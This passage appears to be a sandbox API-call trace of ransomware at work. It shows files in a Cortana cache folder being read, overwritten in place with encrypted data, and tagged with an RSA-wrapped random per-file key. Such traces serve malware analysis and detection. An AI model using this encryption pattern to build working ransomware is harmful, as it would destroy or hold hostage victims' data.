(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{238B3853-BA53-44A6-88BA-A0867B43ED76}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{238b3853-ba53-44a6-88ba-a0867b43ed76}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.014] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.014] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.016] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.016] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.016] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.016] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.016] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.016] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.016] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.016] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.017] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="LWhsL3oYRZqt3ft8VJbt1GTcI3wGtZ+Vc9DSdM/lYP5F52B3AqBhcjK57pvTriCP\nWC1RIiR5fyqbL1qYsY716NPrPb/bx3n7alVfjVCNRPGWfG+o2E2ZSVmb/9+ubJde\nw7MVef2lYl8yuSguPJO8nB758X7tWMv83kije5omJsuCueuN6/gCXvsv4krRfQVJ\npDY9ij4wOfOR2n24zb88ZD6l2ottHTN2xv931wRxKnEASvKf+j9hlP8yeO4lL8f8\nCDTZTRIe+zmCCMVwB8098nIz3Bltru/zJgsqKYKZ9icrmgWizhpld3ptwYO3jXgt\njRxhS9uTgye3MV3BicxqVA==\n", pcchString=0x2e3f9a8) returned 1 [0248.017] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.017] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.017] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.017] CloseHandle (hObject=0x1afc) returned 1 [0248.018] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.018] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{1E2A2306-C9C1-4028-A5D7-F2EC7326097B}", dwFileAttributes=0x80) returned 1 [0248.019] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{1E2A2306-C9C1-4028-A5D7-F2EC7326097B}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{1e2a2306-c9c1-4028-a5d7-f2ec7326097b}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.019] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.019] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.021] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.021] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.021] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.021] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.021] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.021] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.021] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.021] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.021] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="iR38ehj/psGc3gNSyHXyaK0iZ9gGrqYWa4qv02j+447gBhObXrdcgFT6MGsDiEW+\nnJ2rsJoDMWeydg7inIeK6aYlrc4nIZfTCzRKoDqbdKAC9YwQCvaTQcrcuLYrwd4g\npw6a3KgVQBiV9dCIO2yNq13x58woaQcNmBUkzOfXe3PiLaahn52khGDIgpX05pqQ\nEBFke2NcHNY2G/EUurTC+2/nF8WC4Eg8QjOhk0iswhPDRtzc+Buj05iKh5PAfksF\nK+vIpuejpBmwJ+g50KVkprjQe+7OHld1QkkWToVgWbEKK+RftCtx6+EU6v5hSUfF\nCComWWRjsvzEU3IoPAP9tg==\n", pcchString=0x2e3f9a8) returned 1 [0248.021] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.022] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.022] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.022] CloseHandle (hObject=0x1afc) returned 1 [0248.023] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.023] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{197DFB5F-C4AA-4B34-9390-72C57DC8BFF8}", dwFileAttributes=0x80) returned 1 [0248.024] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{197DFB5F-C4AA-4B34-9390-72C57DC8BFF8}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{197dfb5f-c4aa-4b34-9390-72c57dc8bff8}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.024] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.024] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.026] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.026] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.026] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.026] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.026] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.026] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.027] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.027] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.027] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="21B6TqTqTABrJE4H9x5n5q4njI/Mzg3I4VsBvbFso+3MmWlod9LSpFTsIndeQdaO\nlDPVbnXIBXWD65O3q6o5wGxNbTGfDmOwF3FO4KFiV+wfDaE4YXbAJBTQO1QtU5rd\nNDzhvsbOZoHbP0fOG4kO/UZQ/quL8uJAgBGJeFeZsM4VtdJ0lp1zMgH4iKl1yUeZ\nJR6IKZt2jw2ZgEnSEnpspId6mkvinBDtnZU9pjQnbWxFBbeKyZaRwhze2g8cCCKZ\nmyAR82pnfegsmyqyCimvvDQiuN4X1Pd5ypmHp6oW9lBte1eB4GdCdQ8jjyVAIt/4\nhO54r54JZcdvO6xaGw/dkQ==\n", pcchString=0x2e3f9a8) returned 1 [0248.027] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.027] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.027] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.027] CloseHandle (hObject=0x1afc) returned 1 [0248.030] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.030] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{16DAFC99-00F8-4C05-A46A-BCB142A0CCD2}", dwFileAttributes=0x80) returned 1 [0248.030] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{16DAFC99-00F8-4C05-A46A-BCB142A0CCD2}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{16dafc99-00f8-4c05-a46a-bcb142a0ccd2}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.031] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.031] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.032] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.032] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.033] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.033] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.033] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.033] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.033] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.033] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.033] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mKZ5sqsQ4LzrhH43esjTS1ZWc6WTBLkUjLiYrtmfMRLOjsE3GluXdrJd9JHateZk\nH/vvoL7akjA3Rjb3PNqkqC2q7W1F3u20QCMY4aBe+AmjYSkvix7fLohmQYsgg1I5\nDezp3ft6jTQKoxypibeI+HGxoMh5NbUj/oZRKL6iOHj5Ob2t9dJ5etEGAXj6f3fC\nkam+N/eEcgxiDkDv+ZYtZ2BFbYjoljR0gvosOH8Qp0L46BGHYvyd0Kw8UWG7rw6i\n2xlxVRJG2FJrQGNkypCMYEaJlNBRO2HgJsb5/lmdPZDK1nBTLvKTD8FxncOR5sh0\nT6OwXfxmt3l9ivRZxtkZkg==\n", pcchString=0x2e3f9a8) returned 1 [0248.033] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.034] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.034] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.034] CloseHandle (hObject=0x1afc) returned 1 [0248.036] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.036] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{13195EA8-15F2-47D9-A532-E81062D4B757}", dwFileAttributes=0x80) returned 1 [0248.036] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{13195EA8-15F2-47D9-A532-E81062D4B757}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{13195ea8-15f2-47d9-a532-e81062d4b757}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.037] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.037] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.229] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.230] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.230] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.230] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.230] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.230] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.230] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.230] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.231] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wWDI2G/LJrT2hvg1jipBkL4j5ptHFE28UXh/xIkhuKjMkix+xasl7HWnlB1JMrzd\n8Ks5eTf93iSDGwrTOe4JRslxlpiodOKrhIQ/LTkhnCDy35CEM6iR9IUq2a32jRey\nCKb+gFTvTNG1W/8wfGVChX/Z3veGHm/nX3DGjLO7D0/VNY3wQKWtefCJKZIwNmDH\n3lUTJad17pgKO45qm0l4gfI8U1dR6NewFfIG+shYrIAOg+knRl0rr2WzZfgSj88z\nb07oNkwjhp3uqH9AESlA8WWE6TJ/jk6HPshxtPjpGiL1rPIEo6p/O51AmPYp+1Ue\ndPCUAd9TmaG4nCWAGpQfcA==\n", pcchString=0x2e3f9a8) returned 1 [0248.231] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.231] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.231] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.231] CloseHandle (hObject=0x1afc) returned 1 [0248.234] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.234] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{1312ADBB-3D3B-423F-AA97-1A3E9F16657A}", dwFileAttributes=0x80) returned 1 [0248.234] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{1312ADBB-3D3B-423F-AA97-1A3E9F16657A}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{1312adbb-3d3b-423f-aa97-1a3e9f16657a}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.235] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.235] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.236] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.236] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.237] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.237] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.237] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.237] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.237] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.237] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.237] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3QAYriYp6B40yDV6pkgo7srYh1w8guK5dugsEaitFC4rjV8+/EPZYTFZ22wtG31f\n2DXXl7TweellC7vW9puAMwbEonf/dL0OJnHYemK2ASlLgneGs2mCvY+0TsQRBhJT\n5/b1XO3i782wqbfZfkmb7ee7k3sv9JfRn8vPOU5OGSxUyOqDa54bRF1WmDQdyayt\ntzRr/rl1GwwrLCDvrWmqDbBp5pMz6Xvf6ncp5xl38BK75ffE+wih2hEyBhaqx/Pi\nRuD8ln8peeosmgx3QbCRmGVNc8c8gh0GIOLTnD2XBqnblPgQupyEX7Z2AcKSpsKe\n3Or/3r2TSw+S32Cj6gkPuA==\n", pcchString=0x2e3f9a8) returned 1 [0248.237] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.237] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.237] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 